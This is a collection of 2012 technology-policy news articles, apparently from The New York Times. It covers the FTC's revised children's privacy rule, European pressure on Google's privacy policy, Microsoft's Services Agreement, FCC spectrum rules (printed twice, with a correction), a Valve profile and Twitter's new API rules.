Regulators had not significantly changed the original rule, based on the Children’s Online Privacy Protection Act of 1998, or Coppa. That rule required operators of Web sites directed at children under 13 to notify parents and obtain their permission before collecting or sharing personal information — like first and last names, phone numbers, home addresses or e-mail addresses — from children.

The intent of that was to give parents control over entities seeking to collect information about their children so that parents could, among other things, prevent unwanted contact by strangers.

The new rule, unveiled at a news conference in Washington, significantly expands the types of companies required to obtain parental permission before knowingly collecting personal details from children, as well as the types of information that will require parental consent to collect.

Jon D. Leibowitz, the chairman of the trade commission, described the rule revision as a major advance for children’s privacy. “Congress enacted Coppa in the desktop era and we live in an era of smartphones and mobile marketing,” Mr. Leibowitz said. “This is a landmark update of a seminal piece of legislation.”

The agency’s expanded privacy protections for children also represent the first step in a larger effort by a few regulators and legislators to give adult consumers some rights to control data collected about them.

“The Coppa rule revisions which we are announcing today are a critical piece in our overall approach to how we deal with consumer privacy in this technological age,” said Julie Brill, a member of the commission.

Industry analysts said the new rule represented a partial victory for Web site operators, app developers and advertising networks because regulators watered down some of their original proposals to which companies like Apple, Facebook, Google and Twitter had objected. Apple and Google, for example, opposed proposals that suggested they would be responsible for the data collected by children’s apps sold in their app stores. Regulators have now clarified that general-interest app stores would not be held liable for that.

Yet, few companies lent any support to the commission at its news conference; Viacom and Disney sent representatives, but other companies were absent.

“What we’ve got here is an expansion of Coppa that some in the industry would say has gone too far,” said Alan Friel, a lawyer who leads the media and technology practice at the firm of Edwards Wildman Palmer. “But the F.T.C. has provided exceptions that continue to allow internal use of a child’s data, including one-time use of contact information for facilitating promotions and send-a-friend e-mails.”

In an era of widespread photo sharing, video chatting and location-based apps, the revised children’s privacy rule makes clear that companies must obtain parental consent before collecting certain details that could be used to identify, contact or locate a child. These include photos, video and audio as well as the location of a child’s mobile device.

While the new rule strengthens such safeguards, it could also disrupt online advertising. Web sites and online advertising networks often use persistent identification systems — like a cookie in a person’s browser, the unique serial number on a mobile phone, or the I.P. address of a computer — to collect information about a user’s online activities and tailor ads for that person.

The new rule expands the definition of personal information to include persistent IDs if they are used to show a child behavior-based ads. It also requires third parties like ad networks and social networks that know they are operating on children’s sites to notify and obtain consent from parents before collecting such personal information. And it makes children’s sites responsible for notifying parents about data collection by third parties integrated into their services.

Collecting data to show children contextual ads based on the content of a site or app, however, will not require parental consent. “The only limit we place is on behavioral advertising,” Mr. Leibowitz said. “Until and unless you get parental consent, you may not track children to create massive profiles” for behavior-based ads.

Stuart P. Ingis, a lawyer representing several marketing associations, said that reputable online marketers did not knowingly profile children to show them behavior-based ads. He added that industry guidelines prohibited the practice.

He agreed with regulators that privacy protections for children online needed to keep pace with new technologies. But he said he was concerned that the restrictions on cookie-based identifiers might cause some children’s sites to reduce their use of ad networks to avoid having to notify parents about data collection by those services.

“There might be overreaction that would limit just general third-party collection of data, which is very useful to businesses and consumers,” said Mr. Ingis, who represents the Direct Marketing Association and the Association of National Advertisers.

The revised rule also clarifies requirements for sites that are not primarily directed at young children but whose audience may include them, like a Disney family site, for example. Those sites can now screen visitors by age, but they will be required to obtain permission from a parent to collect personal data about children under 13.

Children’s advocates generally welcomed the strengthened protections.

“Clearly, this is a major step forward, but the devil is in the details,” said Jeffrey Chester, the executive director of the Center for Digital Democracy, an advocacy group in Washington.

European Panel Is Pressuring Google on Privacy Rules

In a two-day closed-door meeting this week in Brussels of the European Union’s 27 national data protection officials, the group mapped a preliminary strategy, including the possibility of testing Google’s compliance with national privacy laws in countries like Ireland, Belgium and Finland, where the company operates data centers. That was the word from a person close to the discussions, who spoke on condition of anonymity.

The group may issue a public statement next week on the matter.

The group is focusing on new guidelines Google adopted this year for collecting information on individuals. Under the new policy, when people are logged into a Google account, the company can use information shared on one service in other Google services. For example, Google could show people an ad on YouTube based on what they have searched for, or fix the spelling of a friend’s name in a Google search based on information from Gmail.

When the guidelines were announced, they were sharply criticized in Europe. Data protection officials from various countries asked the French regulator, C.N.I.L., to study them. In mid-October, that regulator released a report criticizing the guidelines as allowing an “uncontrolled combination of data.”

The 27 European regulators wrote a letter to Larry Page, the chief executive of Google, asking the company to modify the new policy, which governs dozens of Google services — among them the search engine, Android mobile phone apps and YouTube videos. The regulators want Google to give users a better sense of what personal data is being collected and to allow them to better control how that information is shared with advertisers.

C.N.I.L. said the method of combining information from Google’s search engine, YouTube, the Google Plus social network and other services “suggests the absence of any limit concerning the scope of collection and the potential uses of the personal data.”

Google made nearly all of its $37.9 billion in sales revenue in 2011 from Internet advertising, which relies in part on the collection and analysis of user data to produce ads aimed at individual consumers.

When C.N.I.L. released its report, Google said it would study the analysis. But the company also asserted that its method of handling consumer data was legal under European Union rules. At a conference in Arizona in October, Mr. Page defended the guidelines.

So far the company, which also ran afoul of European regulators in 2010 for its collection of personal data from home Wi-Fi routers in the Street View controversy, has not responded formally to the report by the French regulator.

On Friday, a Google spokesman in Brussels, Alistair Verney, referred to the company’s previous statement in October, which said Google was reviewing the French recommendations. “Our new privacy policy demonstrates our longstanding commitment to protecting our users’ information and creating great products,” the Google statement said at the time. “We are confident that our privacy notices respect European law.”

When C.N.I.L. presented its analysis in October, the chairwoman of the French regulator, Isabelle Falque-Pierrotin, gave the search engine “three to four months” — roughly until mid-February — to respond to its recommendations.

Among other things, C.N.I.L. asked Google to heed European restrictions on mixing certain data and to heed Europe’s rules for obtaining consent from consumers before collecting personal data.

Google users in Europe cannot use the search engine’s services unless they agree to accept the company’s privacy policy.

But C.N.I.L. argued in its review that the opt-in disclaimer, which is legal under United States law, was too broad. It also said consumers should be given clearer information and be allowed to individually authorize or reject the collection of certain kinds of data.

While European lawmakers coordinate European Union data protection from Brussels, privacy law is enforced on the national level.

That decentralization is why regulators are considering taking action within a few nations — most likely in countries where Google has physical operations and where national courts could be asked to enforce penalties.

But whether any actions, if they do eventually take place, result in anything other than minor sanctions remains to be seen. In general, European national regulators are limited to privacy violation fines of only a few hundred thousand euros against companies or individuals.

A proposed update to European Union data protection law would give regulators the ability to assess much larger fines of as much as 2 percent of a company’s annual sales — which based on Google’s financial performance would equate to about $760 million, based on 2011 revenue of $37.9 billion.

But it is unclear how soon, if ever, those higher penalties will be adopted.

Another person with knowledge of the regulators’ discussion this week emphasized that the group was still hoping Google would adapt its rules in Europe to conform with the Continent’s restrictions on data mining.

“We still have a lot of time left before we come to this juncture,” said another person with knowledge of the group’s discussions, citing the spring deadline for Google’s formal response. “Let’s wait and see what happens.”

Microsoft Tightens Personal Data Rules

The action followed a letter by Representative Edward J. Markey, a Massachusetts Democrat who is co-chairman of the Congressional Bipartisan Privacy Caucus, to Steven A. Ballmer, Microsoft’s chief executive, expressing concern about the policy, which went into effect on Friday.

In raising questions about Microsoft’s new policy, Mr. Markey cited an Oct. 20 article in The New York Times, which reported that the new Microsoft Services Agreement gave the company broad leeway to collect and use personal information gleaned from consumers of its free, Web-based products like e-mail, search and instant messaging.

The policy allowed Microsoft to use the personal data in targeted advertising, although Microsoft pledged in its blog posts and e-mails to customers that it would not do so. The products affected by the Service Agreement include the company’s Web-based Hotmail and Outlook.com e-mail services, but not the Outlook program that is bought and loaded directly onto a personal computer’s hard drive.

Microsoft said it wanted to make its intentions clear in light of the Times article and the letter from Mr. Markey. “One thing we don’t do is use the content of our customers’ private communications and documents to target advertising,” Microsoft said in a statement released on Monday afternoon.

“We could have been clearer about this when we rolled out our updated Services Agreement,” the statement said. “We appreciate the feedback we’ve received, and as a result, we will update the agreement as soon as possible to make that point absolutely clear.”

The Times article reported that privacy advocates were concerned about the new policy, given that no single authority regulates the data-collection practices of Internet companies.

The Microsoft policy appeared to give the company the same rights as Google, which scans the content of e-mails sent through its Gmail system, focusing on keywords to generate advertising that it thinks will interest the user. Google attracted widespread criticism when it revised its privacy policy to allow it to share that information across its product lines.

In his letter to Microsoft, Mr. Markey said he was “concerned about the privacy and security implications of Microsoft’s policy of aggregating information about consumers across a suite of Microsoft services, stitching together detailed, in-depth consumer profiles.”

He urged Microsoft to consider an opt-in standard that would allow the collection of personal information from users who specifically indicated that they wanted the company to collect that information.

Microsoft’s policy did not apply its Internet Explorer Web browser. But it has said that just such an opt-in standard, known as a “do not track” option, will be the default setting on the coming release of Internet Explorer 10, the latest version of the browser.

As Microsoft Shifts Its Privacy Rules, an Uproar Is Absent

Microsoft instituted a policy on Friday that gives the company broad leeway over how it gathers and uses personal information from consumers of its free, Web-based products like e-mail, search and instant messaging.

Almost no one noticed, however, even though Microsoft’s policy changes are much the same as those that Google made to its privacy rules this year.

Google’s expanded powers drew scathing criticism from privacy advocates, probing inquiries from regulators and broadside attacks from rivals. Those included Microsoft, which bought full-page newspaper ads telling Google users that Google did not care about their privacy, an accusation it quickly denied.

The difference in the two events illustrates the confusion surrounding Internet consumer privacy. No single authority oversees the collection of personal information from Web users by Internet companies. Though most companies have written privacy policies, they are often stated in such broad, ambiguous language that they seem to allow virtually any use of customers’ personal information.

Web companies like Microsoft and Google have been moving aggressively to expand their abilities to gather and sort information about individuals’ habits and interests — even as Congress, federal regulators and the Obama administration have been seeking ways to protect Internet users against unwanted privacy incursions.

Microsoft’s policy, which it calls its Services Agreement, allows it to analyze customer content from one its free products and use it to improve another service — for example, taking information from messages a consumer sends on Windows Live Messenger and using it to improve messaging services on Xbox. Previously, that kind of sharing of information between products would not have been allowed under Microsoft policies, which limited the use of data collected under one of its products to that product alone.

Microsoft has promised, however, that it will not use the personal information and content it collects to sell targeted advertising. It will not, for example, scan a consumer’s e-mails to generate ads that might interest the user. Google does that, and expanding its ability to draw on that content was part of the reason Google changed its privacy policy this year.

But the new Microsoft policy does allow for such targeted advertising. Microsoft promised not to do so in blog posts and e-mails informing its customers about the change, but not in the formal policy. That has some privacy advocates nervous.

“What Microsoft is doing is no different from what Google did,” said John M. Simpson, who monitors privacy policy for Consumer Watchdog, a California nonprofit group. “It allows the combination of data across services in ways a user wouldn’t reasonably expect. Microsoft wants to be able to compile massive digital dossiers about users of its services and monetize them.”

Jack Evans, a Microsoft spokesman, says the company’s plans are benign. He differentiates between the Services Agreement, also known as the terms of use, that was changed on Friday and the company’s Privacy Policy, which was last updated in April.

“Over the years, we have consistently informed users that we may use their content to improve the services they receive,” Mr. Evans said in a written statement. “For instance, we analyze content to improve our spam and malware filters in order to keep customers safe. We also do it to develop new product features such as e-mail categorization to organize similar items like shipping receipts in a common folder, or to automatically add calendar invitations.

“However,” he added, “one thing we don’t do is use the content of our customers’ private communications and documents to create targeted advertising. If that ever changes, we’ll be the first to let our customers know.”

Microsoft’s new services agreement affects only its free, Web-based products, not the software programs that individuals and companies buy off the shelf for home or business use. It covers Hotmail, and its related e-mail service, Outlook.com, but not the Outlook e-mail and calendar program that is individually loaded onto computer hard drives and widely used by corporations. Bing, its search engine, is covered, but Internet Explorer, its browser, is not.

Microsoft’s pledge not to use the data from its Web services to target advertising has some credibility, given the company’s broader privacy initiatives. The company has said it will include a “do not track” feature in its new Internet Explorer 10 Web browser that prevents online advertising companies from monitoring the browsing habits of users so they can target promotions. Microsoft has made “do not track” the default setting on the new version of Explorer, a move that has caused a firestorm among online advertising companies.

F.C.C. Considers New Spectrum Rules for Wireless Companies

Not so in the air across the continent, where the Federal Communications Commission has long set limits on how much of the airwaves one company can control.

Now, pushed by small and medium-size telecommunications companies, the government plans to begin setting new rules to govern how much of the airwaves, or spectrum, a single carrier can hold. A big goal for those small companies, which compete with the behemoths Verizon and AT&T, is a measure that would give greater importance to so-called beachfront spectrum.

Those are the highly sought-after airwaves that travel farther between antennas and pass more easily through buildings, making them especially attractive in urban areas where the largest, most profitable clusters of mobile device users congregate.

It may sound esoteric, but the issue is known to every cellphone user who has experienced a dropped call or a smartphone browser stuck endlessly loading a Web page. After years of limiting companies to no more than one-third of the available airwaves in a given territory, the F.C.C. on Friday will begin the rule-making process on whether new technologies require limits to be redrawn, recalibrated or perhaps removed.

The F.C.C.’s decision, which probably will not be final for about a year, will have broad effects on consumers and companies. It plays a part in another matter the agency is expected to consider on Friday: rules for auctioning off newly reclaimed airwaves.

In that effort, the commission is aiming to take back portions of the airwaves used by the military or by television broadcasters. It is offering cash incentives for companies to give up their spectrum. The airwaves would be auctioned, with a portion of the proceeds going back to the original private-sector license holders.

By giving more weight to the best-performing spectrum, the F.C.C.’s overall limits could increase competition by restricting the big companies from buying too much of the airwaves, said Matt Wood, policy director for Free Press, a consumer advocacy group. “It is not the sheer amounts that matter,” he said. “It is where it is located on the radio dial that makes certain spectrum more valuable to a wireless company’s business.”

Some wireless company executives disagree, saying that the fact that some airwaves can travel farther than others is meaningless in a large city like New York, where so many users are congregated that a company already has to put in extra towers to keep airwaves from being overloaded. Overloading, of course, results in dropped calls.

Nevertheless, the quest for new rules is being welcomed by large and small mobile phone companies alike, each looking for a competitive advantage. Public interest groups that often oppose the companies’ efforts to trade spectrum also favor changes.

“There are a lot of competing interests here,” said Walter G. D. Reed, a partner at Edwards Wildman Palmer in Providence, R.I., who has worked on telecommunications issues. And the F.C.C.’s challenge is how to allow companies like AT&T and Verizon expand their businesses while ensuring that smaller carriers do not get shut out.

Wireless industry executives say that they would welcome almost any new standards because that would remove the uncertainty cast by the agency’s past practice of weighing potential spectrum deals case by case.

“Spectrum policy in this country needs to be built on a full factual record and rational economic policy,” Joan Marsh, vice president for federal regulatory issues at AT&T, said in an interview. “Carriers need a clear and reliable understanding of when and under what circumstances spectrum acquisitions will be permitted, something we do not have today. This proceeding will provide the vehicle to meet both goals, and take spectrum policy out of merger-specific proceedings and place it in an industrywide rule-making, subject to judicial review.”

The F.C.C. staff has circulated its proposals to the five-member commission, but the agency would not discuss the possible outcomes before the Friday meeting.

This article has been revised to reflect the following correction:

Correction: September 29, 2012

An article on Wednesday about the Federal Communications Commission’s consideration of new rules governing wireless airwaves, or spectrum, described incorrectly the groups to which the agency will offer cash incentives in exchange for their giving up portions of spectrum they control. The cash payments, which will come from the proceeds of public auctions of the spectrum, are available only to companies, mainly broadcasters, that give up spectrum — not to the military and other government agencies that currently control wireless airwaves. (The F.C.C. is also trying to secure spectrum controlled by the military and those federal agencies.)

F.C.C. Considers New Spectrum Rules for Wireless Companies

Not so in the air across the continent, where the Federal Communications Commission has long set limits on how much of the airwaves one company can control.

Now, pushed by small and medium-size telecommunications companies, the government plans to begin setting new rules to govern how much of the airwaves, or spectrum, a single carrier can hold. A big goal for those small companies, which compete with the behemoths Verizon and AT&T, is a measure that would give greater importance to so-called beachfront spectrum.

Those are the highly sought-after airwaves that travel farther between antennas and pass more easily through buildings, making them especially attractive in urban areas where the largest, most profitable clusters of mobile device users congregate.

It may sound esoteric, but the issue is known to every cellphone user who has experienced a dropped call or a smartphone browser stuck endlessly loading a Web page. After years of limiting companies to no more than one-third of the available airwaves in a given territory, the F.C.C. on Friday will begin the rule-making process on whether new technologies require limits to be redrawn, recalibrated or perhaps removed.

The F.C.C.’s decision, which probably will not be final for about a year, will have broad effects on consumers and companies. It plays a part in another matter the agency is expected to consider on Friday: rules for auctioning off newly reclaimed airwaves.

In that effort, the commission is aiming to take back portions of the airwaves used by the military or by television broadcasters, offering cash incentives for companies or other groups to give up their spectrum. Those airwaves would be auctioned, with a portion of the proceeds going back to the original license holder.

By giving more weight to the best-performing spectrum, the F.C.C.’s overall limits could increase competition by restricting the big companies from buying too much of the airwaves, said Matt Wood, policy director for Free Press, a consumer advocacy group. “It is not the sheer amounts that matter,” he said. “It is where it is located on the radio dial that makes certain spectrum more valuable to a wireless company’s business.”

Some wireless company executives disagree, saying that the fact that some airwaves can travel farther than others is meaningless in a large city like New York, where so many users are congregated that a company already has to put in extra towers to keep airwaves from being overloaded. Overloading, of course, results in dropped calls.

Nevertheless, the quest for new rules is being welcomed by large and small mobile phone companies alike, each looking for a competitive advantage. Public interest groups that often oppose the companies’ efforts to trade spectrum also favor changes.

“There are a lot of competing interests here,” said Walter G. D. Reed, a partner at Edwards Wildman Palmer in Providence, R.I., who has worked on telecommunications issues. And the F.C.C.’s challenge is how to allow companies like AT&T and Verizon expand their businesses while ensuring that smaller carriers do not get shut out.

Wireless industry executives say that they would welcome almost any new standards because that would remove the uncertainty cast by the agency’s past practice of weighing potential spectrum deals case by case.

“Spectrum policy in this country needs to be built on a full factual record and rational economic policy,” Joan Marsh, vice president for federal regulatory issues at AT&T, said in an interview. “Carriers need a clear and reliable understanding of when and under what circumstances spectrum acquisitions will be permitted, something we do not have today. This proceeding will provide the vehicle to meet both goals, and take spectrum policy out of merger-specific proceedings and place it in an industrywide rule-making, subject to judicial review.”

The F.C.C. staff has circulated its proposals to the five-member commission, but the agency would not discuss the possible outcomes before the Friday meeting.

Valve, a Video Game Maker With Few Rules

THIS is no Xbox 360 or PlayStation 3.

Every way I look, the scene shifts, the battle unfolds. I have a crazy contraption strapped to my head: a boxy set of goggles that looks like a 22nd-century version of a View-Master. It immerses me in a virtual world. I whirl one way and see zombies preparing to snack on my flesh. I turn another and wonder what fresh hell awaits.

Behold the future of video games. Or at least the future as envisioned by a bunch of gamers, programmers, tinkers and dreamers at the Valve Corporation here. This is the uncorporate company that brought us the Half-Life series, the hugely influential first-person shooter game.

The Valve guys aren’t done yet. Founded 16 years ago by a couple of refugees from Microsoft, Valve makes games that wild-eyed fans play until their thumbs hurt and dawn jabs through the curtains. But what really makes Valve stand out is its foresight on technology.

A decade ago, long before every media executive figured out that downloading was the future, Valve started an online service, Steam. It has since become for games what iTunes is to music — a huge online distributor, in its case one with more than 40 million active users and that, by some estimates, accounts for about 70 percent of the PC games bought and downloaded from the Web. Through Steam, Valve effectively collects a toll on other companies’ online game sales, in addition to making money from selling its own products.

On Monday, the company will begin a public test of a new television-friendly interface, Big Picture, for buying Steam games and playing them on computers in the living room.

 “They’re on the cutting edge of the future of this industry,” says Peter Moore, the chief operating officer of Electronic Arts, a big games publisher that is both a Valve competitor and partner.

Now Valve executives think they may be onto the next big thing in games: wearable computing. The goggles I’m wearing — reminiscent of the ones Google recently unveiled to much hoopla — could unlock new game-playing opportunities. This technology could let players lose themselves inside a virtual reality and, eventually, blend games with their views of the physical world.

It’s one thing if a bottomless money well like Google wants to sink its profits into Project Glass, its own wearable-computing initiative. But for a 300-person software company like Valve, developing eyeball computers seems an absurdly ambitious — some say foolish — enterprise.

Valve’s exploration of new forms of game hardware comes as the PC, the device on which it has depended for much of its history, is changing in ways that could undermine its business. With a new PC operating system, Windows 8, coming out in October, Microsoft will start its own online marketplace for distributing software, including games. The move could take some of the, well, steam out of Steam.

Valve fosters unorthodox thinking through a corporate culture unusual even by the quirky standards of technology companies. While many start-ups pay lip service to flat organizational structures, Valve emphasizes that its workplace is truly “boss-less.”

“We don’t have any management, and nobody ‘reports to’ anybody else,” reads Valve’s handbook for new employees, which generated buzz this year when it leaked onto the Web.

Forget silly-sounding Silicon Valley job titles like code jedi or chief listener. Valve has no formal titles. The few employees who’ve put titles on business cards do so to satisfy outsiders apprehensive about working with people without labels. The same applies to Gabe Newell, one of Valve’s founders.

“I think he’s technically the C.E.O., but it’s funny that I’m not even sure of that,” says Greg Coomer, a designer and artist who was one of Valve’s first employees. (For the record, Mr. Newell is technically Valve’s chief executive.)

To spur creativity, Google management created the concept of “20 percent time,” the portion of employees’ schedules that they could commit to entirely self-directed projects. At Valve, it’s more like 100 percent time. New employees aren’t even told where to work in the company. Instead, they are expected to decide on their own where they can contribute most. Many desks at Valve are on wheels. After figuring out what they want to do, workers simply push their desks over to the group they want to join.

A few years ago, a Valve hire who had worked in special effects in Hollywood balked at wheeling his desk. The news reached Mr. Newell, who promptly picked up the desk himself and carried it to the new location, to the new employee’s embarrassment.

The man, whom Valve declined to name, is no longer with the company.

In an interview in a conference room at Valve’s headquarters, Mr. Newell says that relatively few people have left Valve over the years. When they do, it’s often because a sick parent needs help. In one case, Valve moved an employee’s parents to the Seattle area, where one of them was also able to receive better cancer treatment.

“I get freaked out any time one person leaves,” says Mr. Newell, a bearded bear of a man with John Lennon-style glasses. “It seems like a bug in the system.”

Bits Blog: Twitter Makes New Rules for Developers

image via TwitterTwitter said it is encouraging developers to build apps that fall into the upper-left, lower-left and lower-right areas of the graph above.

The relationship between Twitter and developers who build apps linked to Twitter has been a bit rocky for some time. A year ago, Twitter warned that stricter rules and regulations were coming to people who built apps on the company’s platform.

On Thursday, Twitter finally disclosed — albeit in a very technical and confusing way — how it plans to tighten up those rules.

In a blog post on the company’s developer blog, Michael Sippey, Twitter’s director of product, said the company would specifically begin instrumenting stricter guidelines for its application programming interface, or A.P.I.

From a business standpoint, Twitter’s decision to limit the use of the A.P.I. is an attempt to rationalize and control its business. Last year, Twitter said that there were more than 1 million registered applications using Twitter. Managing and delivering Twitter messages to all of those clients likely costs Twitter millions of dollars in computing costs. It also employs an army of engineers who are responsible for managing the platform.

Developers probably aren’t going to be thrilled with all the new rules. Aaron Levie, the chief executive of Box, tweeted Thursday, “Twitter’s API has more rules than North Korea.”

To start, Twitter will require that any developer using the A.P.I. to be authenticated on the platform. This will be done to “prevent malicious use of the Twitter API and gain an understanding of what types of applications” using the service, Mr. Sippey wrote.

Twitter will also begin limiting how often applications can access the company’s A.P.I. in third-party apps. Until now, Twitter has been offering a “one size fits all” approach to developers.

Twitter also said it was redefining its “Developer Rules of the Road,” and would start enforcing stricter guidelines for new apps that are developed on the platform.

The company said it will give developers six months to switch to the new A.P.I.